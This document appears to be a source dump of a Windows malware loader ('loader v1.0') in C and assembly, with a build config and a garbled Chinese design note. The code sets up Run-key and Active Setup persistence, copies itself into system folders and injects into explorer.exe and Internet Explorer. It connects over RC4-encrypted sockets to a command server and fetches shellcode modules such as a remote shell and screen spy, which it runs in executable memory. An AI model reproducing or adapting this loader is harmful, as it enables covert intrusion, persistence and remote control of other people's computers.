u16 temp = offsetof(global_data_t, add_startup_hklm_x64);
printf("offset: 0x%X\n", temp);
fwrite(&temp, 1, sizeof(temp), f);
char *str = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
temp = end - start + lstrlenA(str) + 1;
fwrite(&temp, 1, sizeof(temp), f);
fwrite(start, 1, end - start, f);
fwrite(str, 1, lstrlenA(str) + 1, f);
fclose(f);
printf("[*] save add_startup_hklm_x64 to add_startup_hklm_x64.bin success.\n");
start = (char *)add_startup_activex_x64;
end = (char *)add_startup_activex_x64_end;
printf("[*] add_startup_activex_x64 code size = 0x%X\n", end - start);
f = fopen("add_startup_activex_x64.bin", "wb");
temp = offsetof(global_data_t, add_startup_activex_x64);
printf("offset: 0x%X\n", temp);
fwrite(&temp, 1, sizeof(temp), f);
str = "SOFTWARE\\Microsoft\\Active Setup\\Installed Components";
temp = end - start + lstrlenA(str) + 1;
fwrite(&temp, 1, sizeof(temp), f);
fwrite(start, 1, end - start, f);
fwrite(str, 1, lstrlenA(str) + 1, f);
fclose(f);
printf("[*] save add_startup_activex_x64 to add_startup_activex_x64.bin success.\n");
start = (char *)copy_self_x64;
end = (char *)copy_self_x64_end;
printf("[*] copy_self_x64 code size = 0x%X\n", end - start);
f = fopen("copy_self_x64.bin", "wb");
temp = offsetof(global_data_t, copy_self_x64);
printf("offset: 0x%X\n", temp);
fwrite(&temp, 1, sizeof(temp), f);
temp = end - start;
fwrite(&temp, 1, sizeof(temp), f);
fwrite(start, 1, end - start, f);
fclose(f);
printf("[*] save copy_self_x64 to copy_self_x64.bin success.\n");
start = (char *)find_process_by_name_x64;
end = (char *)find_process_by_name_x64_end;
printf("[*] find_process_by_name_x64 code size = 0x%X\n", end - start);
f = fopen("find_process_by_name_x64.bin", "wb");
temp = offsetof(global_data_t, find_process_by_name_x64);
printf("offset: 0x%X\n", temp);
fwrite(&temp, 1, sizeof(temp), f);
temp = end - start;
fwrite(&temp, 1, sizeof(temp), f);
fwrite(start, 1, end - start, f);
fclose(f);
printf("[*] save find_process_by_name_x64 to find_process_by_name_x64.bin success.\n");
start = (char *)inject_to_explorer_code_x64;
end = (char *)inject_to_explorer_code_x64_init;
printf("[*] inject_to_explorer_code_x64 code size = 0x%X\n", end - start + 594);
f = fopen("inject_to_explorer_code_x64.bin", "wb");
temp = offsetof(global_data_t, inject_to_explorer_code_x64);
printf("offset: 0x%X\n", temp);
fwrite(&temp, 1, sizeof(temp), f);
// 628 = init code size
temp = end - start + 594;
fwrite(&temp, 1, sizeof(temp), f);
fwrite(start, 1, end - start, f);
fclose(f);
printf("[*] save inject_to_explorer_code_x64 to inject_to_explorer_code_x64.bin success.\n");
}
#pragma optimize("ts", off)
#endif
================================================
FILE: loader v1.0/loader_function/loader_function.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader_function", "loader_function\loader_function.vcxproj", "{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Debug|Win32.ActiveCfg = Debug|Win32
{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Debug|Win32.Build.0 = Debug|Win32
{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Debug|x64.ActiveCfg = Debug|x64
{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Debug|x64.Build.0 = Debug|x64
{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Release|Win32.ActiveCfg = Release|Win32
{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Release|Win32.Build.0 = Release|Win32
{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Release|x64.ActiveCfg = Release|x64
{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: loader v1.0/loader_main/loader_main.asm
================================================
include '../include/global.inc'
include 'win32a.inc'
use32
; 修复api
; 拷贝config到全局
; 修复额外函数
proc loader_main uses esi edi ebx
locals
global_data global_data_t ?
endl
; 清空globaldata
cld
xor al, al
mov ecx, sizeof.global_data_t
lea edi, [global_data]
rep stosb
; 初始化dll句柄
mov eax, [fs:0x30]
mov eax, [eax + 0x0c]
mov eax, [eax + 0x14]
mov eax, [eax]
push dword [eax + 0x10]
pop [global_data.ntdll]
mov eax, [eax]
push dword [eax + 0x10]
pop [global_data.kernel32]
; 获取GetProcAddress与LoadLibraryA地址
push 0
PUSH_HASH GetProcAddress
push dword [eax + 0x10]
call get_proc_from_hash
mov [global_data.GetProcAddress], eax
push eax
PUSH_HASH LoadLibraryA
push [global_data.kernel32]
call get_proc_from_hash
mov [global_data.LoadLibraryA], eax
PUSH_ANSI_STRING 'advapi32'
call [global_data.LoadLibraryA]
mov [global_data.advapi32], eax
call .push_api_table
API_HASH_TABLE kernel32,\
GetCurrentProcess, CloseHandle, OpenProcess, lstrlenA, lstrlenW, lstrcatW, lstrcpyA, lstrcpyW, lstrcmpiW,\
HeapAlloc, HeapReAlloc, HeapFree, GetProcessHeap, GetModuleHandleA, GetModuleFileNameW, CreateMutexA, GetLastError, Sleep,\
VirtualAllocEx, VirtualFreeEx, WriteProcessMemory, WaitForSingleObject, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW,\
ExpandEnvironmentStringsW, CreateProcessW, CreateRemoteThread, GetSystemDirectoryW, GetWindowsDirectoryW, CopyFileW, DeleteFileW
API_HASH_TABLE ntdll,\
RtlZeroMemory, RtlMoveMemory, RtlCompressBuffer, RtlGetCompressionWorkSpaceSize, RtlDecompressBuffer
API_HASH_TABLE advapi32,\
OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegCloseKey
API_HASH_TABLE_END
.push_api_table:
pop esi
assume esi: api_hash_t
mov edi, [global_data.GetProcAddress]
.while word [esi] <> 0
movzx ecx, [esi.lib_offset]
stdcall get_proc_from_hash, [global_data + ecx], [esi.hash], edi
movzx ecx, [esi.save_offset]
mov [global_data + ecx], eax
add esi, sizeof.api_hash_t
.endw
call @@1
@@1:
add dword [esp], config_data - @@1
pop esi
lea edi, [global_data]
assume esi: config_t
.while word [esi] <> 0
movzx eax, [esi.save_offset]
add eax, edi
movzx ebx, [esi.size]
add esi, sizeof.config_t
invoke global_data.RtlMoveMemory, eax, esi, ebx
add esi, ebx
.endw
; 跳过结束标志
add esi, 2
; 修复额外的函数
assume esi: function_data_t
.while word [esi] <> 0
movzx eax, [esi.save_offset]
add eax, edi
movzx ebx, [esi.func_size]
add esi, sizeof.function_data_t
mov [eax], esi
mov word [eax + 8], bx
add esi, ebx
.endw
lea esi, [global_data]
assume esi: global_data_t
call fix_base_function
; 获取wow64 cs = 0x23 is wow64, 0x1b is win32
mov ax, cs
cmp ax, 0x23
sete byte [global_data.is_wow64]
call enable_debug_privilege
; 获取loader路径
invoke global_data.GetModuleHandleA
lea ecx, [global_data.loader_path]
invoke global_data.GetModuleFileNameW, eax, ecx, 256
.if (byte [global_data.inject_to_custom] = true) | (byte [global_data.inject_to_ie] = true)
; 注入到explorer
push thread_main_size
call .delta
.delta:
add dword [esp], thread_main - .delta
PUSH_WIDE_STRING 'explorer.exe'
push esi
call [global_data.inject_to_explorer]
.else
; 创建互斥体
lea eax, [global_data.mutex_name]
invoke global_data.CreateMutexA, eax
test eax, eax
jz .ret
invoke global_data.GetLastError
cmp eax, ERROR_ALREADY_EXISTS
je .ret
mov edi, eax
; 拷贝自身
.if byte [global_data.copy_method] <> 0
invoke global_data.copy_self_x86, esi
.endif
; 增加启动项
.if byte [global_data.startup_hklm] <> 0
invoke global_data.add_startup_hklm_x86, esi
.endif
.if byte [global_data.startup_acitvex] <> 0
invoke global_data.add_startup_activex_x86, esi
.endif
stdcall thread_main, esi
invoke global_data.CloseHandle, edi
.endif
.ret:
ret
endp
loader_main_size = $ - loader_main ; 防止被优化掉
proc thread_main stdcall uses esi edi, global_data: dword
mov esi, [global_data]
assume esi: global_data_t
; 修复基本函数
call fix_base_function
; 重新加载下advapi32,防止目标进程没有加载
PUSH_ANSI_STRING 'advapi32'
call [esi.LoadLibraryA]
; 修复ws2_32
PUSH_ANSI_STRING 'ws2_32'
call [esi.LoadLibraryA]
mov [esi.ws2_32], eax
call .ws2_32
API_HASH_TABLE ws2_32,\
WSAStartup, WSACleanup, htons, inet_addr, gethostbyname, socket, closesocket, connect, setsockopt, send, recv, select
API_HASH_TABLE_END
.ws2_32:
pop edi
assume edi: api_hash_t
.while word [edi] <> 0
movzx ecx, [edi.lib_offset]
stdcall get_proc_from_hash, [esi + ecx], [edi.hash], [esi.GetProcAddress]
movzx ecx, [edi.save_offset]
mov [esi + ecx], eax
add edi, sizeof.api_hash_t
.endw
call enable_debug_privilege
call socket_main
endp
proc socket_main
locals
wsa WSADATA ?
s _SOCKET ?
packet_header packet_header_t ?
shellcode_main dd ?
endl
assume esi: global_data_t
lea eax, [wsa]
invoke esi.WSAStartup, 0x0202, eax
lea ebx, [esi.dns_list] ; ebx = dns_list
.loop_connect:
invoke esi.lstrlenA, ebx ; eax = host len
movzx edx, word [ebx + eax + 1] ; edx = port
lea ecx, [ebx + eax + 3]
push ecx ; 保存下一个地址
.if byte [esi.socks5] = true
invoke esi.connect_by_socks5, ebx, edx
.else
stdcall connect_server, ebx, edx
.endif
cmp eax, SOCKET_ERROR
je .next_host
mov [s], eax
; 初始化rc4 sbox
lea edi, [esi.rc4_key]
invoke esi.lstrlenA, edi
push eax
push eax
push edi
lea ecx, [esi.send_sbox]
push ecx
call rc4_init
push edi
lea ecx, [esi.recv_sbox]
push ecx
call rc4_init
xor edi, edi
; 初始化packet_header
rdtsc
mov [packet_header.random], eax
mov [packet_header.signature], PACKET_HEADER_SIGNATURE
mov [packet_header.cmd], CMD_SHELLCODE_MAIN
mov [packet_header.packet_unpacked_size], 0
mov [packet_header.packet_size], 0
; 加密
lea ebx, [packet_header]
lea ecx, [esi.send_sbox]
stdcall rc4_crypt, ecx, ebx, sizeof.packet_header_t
; 发送请求
stdcall send_data, esi, [s], ebx, sizeof.packet_header_t
cmp eax, SOCKET_ERROR
je .next_host_closesocket
; 等待接收数据
stdcall wait_buffer, esi, [s], WAIT_TIMEOUT, 0
cmp eax, 0
jle .next_host_closesocket
; 接收包头
stdcall recv_data, esi, [s], ebx, sizeof.packet_header_t
cmp eax, SOCKET_ERROR
je .next_host_closesocket
; 解密包头
lea ecx, [esi.recv_sbox]
stdcall rc4_crypt, ecx, ebx, sizeof.packet_header_t
; 判断数据包
.if (dword [packet_header.signature] = PACKET_HEADER_SIGNATURE) & (byte [packet_header.cmd] = CMD_SHELLCODE_MAIN)
stdcall alloc_memory, esi, [packet_header.packet_size]
mov edi, eax
stdcall recv_data, esi, [s], eax, [packet_header.packet_size]
cmp eax, SOCKET_ERROR
je .next_host_closesocket
lea ecx, [esi.recv_sbox]
stdcall rc4_crypt, ecx, edi, [packet_header.packet_size]
.alloc_next:
stdcall alloc_executable_memory, esi, 0, [packet_header.packet_unpacked_size]
cmp eax, 0
je .alloc_next
mov [shellcode_main], eax
mov eax, [packet_header.packet_size]
.if [packet_header.packet_unpacked_size] = eax
invoke esi.RtlMoveMemory, [shellcode_main], edi, [packet_header.packet_size]
.else
stdcall decompress, esi, edi, [packet_header.packet_size], [shellcode_main], [packet_header.packet_unpacked_size]
.if eax = 0
stdcall free_executable_memory, esi, 0, [shellcode_main]
mov [shellcode_main], 0
.endif
.endif
.if [shellcode_main] <> 0
invoke shellcode_main, esi, [s]
stdcall free_executable_memory, esi, 0, [shellcode_main]
mov [shellcode_main], 0
.endif
.endif
.next_host_closesocket:
.if edi <> 0
stdcall free_memory, esi, edi
.endif
invoke esi.closesocket, [s]
.next_host:
pop ebx
.if byte [ebx] = 0
lea ebx, [esi.dns_list]
.endif
invoke esi.Sleep, CONNECT_INTERVAL
jmp .loop_connect
.ret:
invoke esi.WSACleanup
ret
endp
; 修复基本函数
proc fix_base_function uses esi
mov edi, esi
add edi, BASE_FUNCTION_START
call .push_base_function_table
BASE_FUNCTION_TABLE get_proc_from_hash,\
rc4_init, rc4_crypt,\
alloc_memory, realloc_memory, free_memory, alloc_executable_memory, free_executable_memory,\
compress, decompress,\
wait_buffer, recv_data, send_data,\
connect_server
.push_base_function_table:
pop esi
xor ecx, ecx
.while ecx < BASE_FUNCTION_COUNT
xor eax, eax
lodsw
lea eax, [esi + eax]
stosd
inc ecx
.endw
ret
endp
; 提升进程权限
proc enable_debug_privilege
locals
token _HANDLE ?
tkp TOKEN_PRIVILEGES ?
endl
assume esi: global_data_t
invoke esi.GetCurrentProcess
lea ecx, [token]
invoke esi.OpenProcessToken, eax, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, ecx
.if eax
lea ecx, [tkp.Privileges.Luid]
push ecx
PUSH_ANSI_STRING 'SeDebugPrivilege'
push 0
call [esi.LookupPrivilegeValueA]
.if eax
mov [tkp.PrivilegeCount], 1
mov [tkp.Privileges.Attributes], SE_PRIVILEGE_ENABLED
lea ecx, [tkp]
invoke esi.AdjustTokenPrivileges, [token], false, ecx, sizeof.TOKEN_PRIVILEGES, 0, 0
.endif
invoke esi.CloseHandle, [token]
.endif
ret
endp
; 基础函数
; ======================================================================================================================
; get_proc_from_hash
proc get_proc_from_hash stdcall uses ebx esi edi, module_handle: dword, func_hash: dword, get_proc:dword
locals
address_functions dd ?
address_name_ords dd ?
address_names dd ?
endl
mov ecx, [module_handle]
mov edx, [ecx + 0x3c]
mov eax, [edx + ecx + 0x78] ; export rva
test eax, eax
jz .not_found
cmp dword [edx + ecx + 0x7c], 0 ; check export dict
jz .not_found
mov ebx, [eax + ecx + 0x18] ; number of names
test ebx, ebx
jz .not_found
mov edx, [eax + ecx + 0x1c]
add edx, ecx
mov [address_functions], edx
mov esi, [eax + ecx + 0x20]
add esi, ecx
mov [address_names], esi
mov eax, [eax + ecx + 0x24]
add eax, ecx
mov [address_name_ords], eax
xor edx, edx ; counter
.next_function:
mov edi, [esi + edx * 4]
xor esi, esi
add edi, ecx
mov al, [edi]
test al, al
jz .calc_finish
mov ecx, edi
.calc_hash:
imul esi, 131
movsx eax, al
add esi, eax
inc ecx
mov al, [ecx]
test al, al
jnz .calc_hash
mov ecx, [module_handle]
.calc_finish:
and esi, 0x7fffffff
cmp esi, [func_hash]
jz .found
mov esi, [address_names]
inc edx
cmp edx, ebx
jb .next_function
.not_found:
xor eax, eax
.ret:
ret
.found:
cmp [get_proc], 0
jnz .get_proc
mov eax, [address_name_ords]
movzx eax, word [eax + edx * 2]
mov edx, [address_functions]
mov eax, [edx + eax * 4]
add eax, ecx
jmp .ret
.get_proc:
push edi
push ecx
call [get_proc]
jmp .ret
endp
; 偷个懒直接用vs生成
; proc rc4_init stdcall uses esi edi ebx, sbox: dword, key: dword, key_len: dword
rc4_init:
file 'rc4_init.bin'
; proc rc4_crypt stdcall uses esi edx ebx, sbox: dword, buf: dword, buf_len: dword
rc4_crypt:
file 'rc4_crypt.bin'
; 申请内存
proc alloc_memory stdcall uses esi edi, global_data: dword, size: dword
mov esi, [global_data]
assume esi: global_data_t
invoke esi.GetProcessHeap
mov edi, eax
xor eax, eax
.while eax = 0
invoke esi.HeapAlloc, edi, HEAP_ZERO_MEMORY, [size]
.endw
ret
endp
; 重新申请内存
proc realloc_memory stdcall uses esi edi, global_data: dword, data: dword, nsize: dword
mov esi, [global_data]
assume esi: global_data_t
.if [data] = 0
invoke esi.alloc_memory, esi, [nsize]
.else
invoke esi.GetProcessHeap
mov edi, eax
xor eax, eax
.while eax = 0
invoke esi.HeapReAlloc, edi, HEAP_ZERO_MEMORY, [data], [nsize]
.endw
.endif
ret
endp
; 释放内存
proc free_memory stdcall uses esi, global_data: dword, data: dword
mov esi, [global_data]
assume esi: global_data_t
invoke esi.GetProcessHeap
invoke esi.HeapFree, eax, 0, [data]
ret
endp
; 申请可执行内存
proc alloc_executable_memory stdcall uses esi, global_data: dword, process: dword, size: dword
mov esi, [global_data]
assume esi: global_data_t
.if [process] = 0
invoke esi.GetCurrentProcess
mov [process], eax
.endif
invoke esi.VirtualAllocEx, [process], 0, [size], MEM_COMMIT, PAGE_EXECUTE_READWRITE
ret
endp
; 释放可执行内存
proc free_executable_memory stdcall uses esi, global_data: dword, process: dword, base: dword
mov esi, [global_data]
assume esi: global_data_t
.if [process] = 0
invoke esi.GetCurrentProcess
mov [process], eax
.endif
invoke esi.VirtualFreeEx, [process], [base], 0, MEM_RELEASE
ret
endp
; if fail return zero else return compressed size
proc compress stdcall uses esi edi, global_data: dword, src: dword, src_len: dword, dest: dword, dest_len: dword
locals
compressed_size dd ?
compress_work_size dd ?
compress_fragment_size dd ?
endl
mov esi, [global_data]
assume esi: global_data_t
lea eax, [compress_work_size]
lea ecx, [compress_fragment_size]
invoke esi.RtlGetCompressionWorkSpaceSize, COMPRESSION_FORMAT_LZNT1 or COMPRESSION_ENGINE_STANDARD, eax, ecx
invoke esi.alloc_memory, esi, [compress_work_size]
mov edi, eax
lea eax, [compressed_size]
invoke esi.RtlCompressBuffer, COMPRESSION_FORMAT_LZNT1 or COMPRESSION_ENGINE_STANDARD, [src], [src_len], [dest], [dest_len], 0, eax, edi
invoke esi.free_memory, esi, edi
.if eax, ge, 0
mov eax, [compressed_size]
.else
xor eax, eax
.endif
ret
endp
; if fail return zero else return compressed size
proc decompress stdcall uses esi, global_data: dword, src: dword, src_len: dword, dest: dword, dest_len: dword
locals
uncompressed_size dd ?
endl
mov esi, [global_data]
assume esi: global_data_t
lea eax, [uncompressed_size]
invoke esi.RtlDecompressBuffer, COMPRESSION_FORMAT_LZNT1 or COMPRESSION_ENGINE_STANDARD, [dest], [dest_len], [src], [src_len], eax
.if eax, ge, 0
mov eax, [uncompressed_size]
.else
xor eax, eax
.endif
ret
endp
; wait buffer come in, if timeout return 0, if error return SOCKET_ERROR
proc wait_buffer stdcall uses esi, global_data: dword, s: dword, seconds: dword, microsecond: dword
locals
fds FD_SET ?
tv TIMEVAL ?
endl
mov esi, [global_data]
assume esi: global_data_t
mov [fds.fd_count], 1
push dword [s]
pop dword [fds.fd_array]
xor edx, edx
.if ([seconds] <> 0xffffffff)
push dword [seconds]
pop dword [tv.tv_sec]
push dword [microsecond]
pop dword [tv.tv_usec]
lea edx, [tv]
.endif
lea eax, [fds]
invoke esi.select, 0, eax, 0, 0, edx
ret
endp
; recv data from server
proc recv_data stdcall uses esi ebx, global_data: dword, s: dword, buf: dword, size: dword
mov esi, [global_data]
mov ebx, [size]
.while [size] > 0
invoke esi.recv, [s], [buf], [size], 0
cmp eax, 0
jle .error_exit
add [buf], eax
sub [size], eax
.endw
mov eax, ebx
.ret:
ret
.error_exit:
mov eax, SOCKET_ERROR
jmp .ret
endp
; send data to server
proc send_data stdcall uses esi ebx, global_data: dword, s: dword, buf: dword, size: dword
mov esi, [global_data]
assume esi: global_data_t
mov ebx, [size]
.while [size] > 0
invoke esi.send, [s], [buf], [size], 0
cmp eax, 0
jle .error_exit
add [buf], eax
sub [size], eax
.endw
mov eax, ebx
.ret:
ret
.error_exit:
mov eax, SOCKET_ERROR
jmp .ret
endp
; connect to server direct
proc connect_server stdcall uses edi ebx, server: dword, port: dword
locals
addr_in sockaddr_in ?
opt _DWORD ?
endl
assume esi: global_data_t
invoke esi.socket, AF_INET, SOCK_STREAM, 0
cmp eax, SOCKET_ERROR
je .ret
mov ebx, eax
mov [addr_in.sin_family], AF_INET
invoke esi.htons, dword [port]
mov [addr_in.sin_port], ax
invoke esi.inet_addr, [server]
mov [addr_in.sin_addr], eax
.if eax = INADDR_NONE
invoke esi.gethostbyname, [server]
test eax, eax
jz .close_and_ret_error
assume eax: hostent
mov eax, [eax.h_addr_list]
mov eax, [eax]
push dword [eax]
pop dword [addr_in.sin_addr]
.endif
lea eax, [addr_in]
invoke esi.connect, ebx, eax, sizeof.sockaddr_in
cmp eax, SOCKET_ERROR
je .close_and_ret_error
lea edi, [opt]
mov [opt], MAX_BUFFER_SIZE
invoke esi.setsockopt, ebx, SOL_SOCKET, SO_RCVBUF, edi, sizeof._DWORD
mov [opt], RECV_TIMEOUT
invoke esi.setsockopt, ebx, SOL_SOCKET, SO_RCVTIMEO, edi, sizeof._DWORD
mov [opt], SEND_TIMEOUT
invoke esi.setsockopt, ebx, SOL_SOCKET, SO_SNDTIMEO, edi, sizeof._DWORD
mov eax, ebx
.ret:
ret
.close_and_ret_error:
invoke esi.closesocket, ebx
mov eax, SOCKET_ERROR
jmp .ret
endp
; ======================================================================================================================
thread_main_size = $ - thread_main
config_data:
================================================
FILE: loader v1.0/loader_test.asm
================================================
include 'win32ax.inc'
include 'include/global.inc'
.code
start:
call main
invoke ExitProcess, 0
main:
file 'loader_main/loader_main.bin'
CONFIG_BEGIN mutex_name
db 'test2222'
CONFIG_END mutex_name
CONFIG_BEGIN persistence
db true
CONFIG_END persistence
CONFIG_BEGIN melt
db true
CONFIG_END melt
CONFIG_BEGIN copy_method
db COPY_METHOD_TO_WINDOWS
CONFIG_END copy_method
CONFIG_BEGIN copy_to
du 'hello.exe'
CONFIG_END copy_to
CONFIG_BEGIN startup_hklm
db true
CONFIG_END startup_hklm
CONFIG_BEGIN nklm_name
du ''
CONFIG_END nklm_name
CONFIG_BEGIN startup_acitvex
db true
CONFIG_END startup_acitvex
CONFIG_BEGIN activex_name
du ''
CONFIG_END activex_name
CONFIG_BEGIN inject_to_ie
db true
CONFIG_END inject_to_ie
CONFIG_BEGIN inject_to_custom
db false
CONFIG_END inject_to_custom
CONFIG_BEGIN custom_process_name
du 'notepad.exe'
CONFIG_END custom_process_name
CONFIG_BEGIN group
du 'Է'
CONFIG_END group
CONFIG_BEGIN id
du 'id'
CONFIG_END id
CONFIG_BEGIN dns_list
db '127.0.0.1',0
dw 8080
CONFIG_END dns_list
CONFIG_BEGIN socks5
db false
CONFIG_END socks5
CONFIG_BEGIN socks5_dns
db '127.0.0.1'
CONFIG_END socks5_dns
CONFIG_BEGIN socks5_port
dw 8080
CONFIG_END socks5_port
CONFIG_BEGIN socks5_user
db 'admin'
CONFIG_END socks5_user
CONFIG_BEGIN socks5_pass
db 'admin'
CONFIG_END socks5_pass
CONFIG_BEGIN rc4_key
db 'killeven'
CONFIG_END rc4_key
dw 0
file 'extra_function/connect_by_socks5.bin'
file 'loader_function/Release/inject_to_explorer.bin'
file 'extra_function/add_startup_hklm_x86.bin'
file 'extra_function/add_startup_activex_x86.bin'
file 'extra_function/copy_self_x86.bin'
file 'extra_function/find_process_by_name_x86.bin'
file 'loader_function/Release/inject_to_explorer_code_x86.bin'
file 'extra_function/get_kernel32_base_x64.bin'
file 'extra_function/get_ntdll_base_x64.bin'
file 'extra_function/get_proc_from_hash_x64.bin'
file 'loader_function/x64/Release/add_startup_hklm_x64.bin'
file 'loader_function/x64/Release/add_startup_activex_x64.bin'
file 'loader_function/x64/Release/copy_self_x64.bin'
file 'loader_function/x64/Release/find_process_by_name_x64.bin'
file 'loader_function/x64/Release/inject_to_explorer_code_x64.bin'
file 'extra_function/inject_to_explorer_code_x64_init.bin'
dw 0
.end start
================================================
FILE: loader v1.0/shellcodes/shellcodes.asm
================================================
format MS COFF
;include 'global.inc'
macro export_function [function] {
forward
public get_#function#_ptr
public get_#function#_size
function:
file `function#'.bin'
function#_size = $ - function
get_#function#_ptr:
lea eax, [function]
ret
get_#function#_size:
mov eax, function#_size
ret
}
section '.text' readable executable
export_function main, cmd_shell, information, process, screenspy, thumbnail
================================================
FILE: loader v1.0/文档.txt
================================================
Loaderֹ
ӷʽ
ֱ(LoaderĹ)
SOCKS5(ѡ)
(ѡ)
HKLM/Run(ѡ)
ActiveX(ѡ)
(ѡ)
SystemĿ¼
WindowsĿ¼
Ƿɾԭļ
ע(ѡܣҪWOW64ش) (Ҫ32λ64λ)(ʹעʱֻҪ32λ룬loader_mainֱִ)
ػ(ѡ)
ע뵽ض(Ĵν̣ÿ7ļPIע뵽ExplorerȻע뵽Ŀ̻Ĭע)
Ĭע뵽Ĭ(ѡ)
WOW64
wow64_call
wow64_inject_memroy
wow64_create_remote_thread
Loader -> ע뵽Explorer(x86, x64) -> ע뵽ض(x86)
עڴ沼(
inject_to_explorer
wow64_inject_memroy
wow64_create_remote_thread
wow64_call(vsд)
inject_to_explorer_code_x86(loaderɾԭļע뵽Ĭض)(vsд)
inject_to_explorer_code_x64(loaderɾԭļע뵽Ĭض)(vsд)
get_proc_from_hash_x64
get_kernel32_base_x64
get_ntdll_base_x64
Ϊ˸Эx86x64 code
еĶ⺯int64
ṹ
entry(api,,configṹУעĻֱӿļthread)
inject_to_explorer(ע뵽explorerеĴ룬ļעsocket_mainĿ̣IE̲ע룬ػ)
wow64_call
wow64_inject_memroy
wow64_create_remote_thread
get_kernel32_base_x64
get_ntdll_base_x64
get_proc_from_hash_x64
thread_main(ע뵽Ŀ̵Ĵ룬ӷ˵)
ļ
include(ͨx86 and x64)
extra_function(ĺ)
loader_main(shellcode)
x64 api
ṹ
vcдx64 code
дfix